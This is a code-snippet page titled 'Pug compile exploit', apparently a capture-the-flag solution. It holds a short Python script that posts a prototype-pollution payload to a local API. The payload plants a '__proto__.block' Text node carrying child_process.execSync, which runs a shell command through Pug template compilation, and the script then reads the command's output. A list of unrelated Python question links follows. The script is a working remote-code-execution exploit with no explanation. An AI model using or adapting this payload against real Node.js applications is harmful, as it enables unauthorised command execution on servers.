Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

1 vote227 views1 answer
Django migrate fake zero
Python Django
0 vote189 views1 answer
How to make a var in pycode
Python
30 votes197 views3 answers
Iterate through all files in directory python
Python
0 vote202 views1 answer
Icloud api python
Python
0 vote192 views1 answer
Comment interpreter tuple python avec valeur unique
Python
28 votes198 views2 answers
Pandas replace nan with value above
Python
0 vote200 views1 answer
How to register button presses in pysimpleGUI
Python
27 votes186 views2 answers
Rename column name pandas dataframe
Python
0 vote204 views2 answers
Check null all column pyspark
Python
1 vote225 views1 answer
Export_excel file python
Python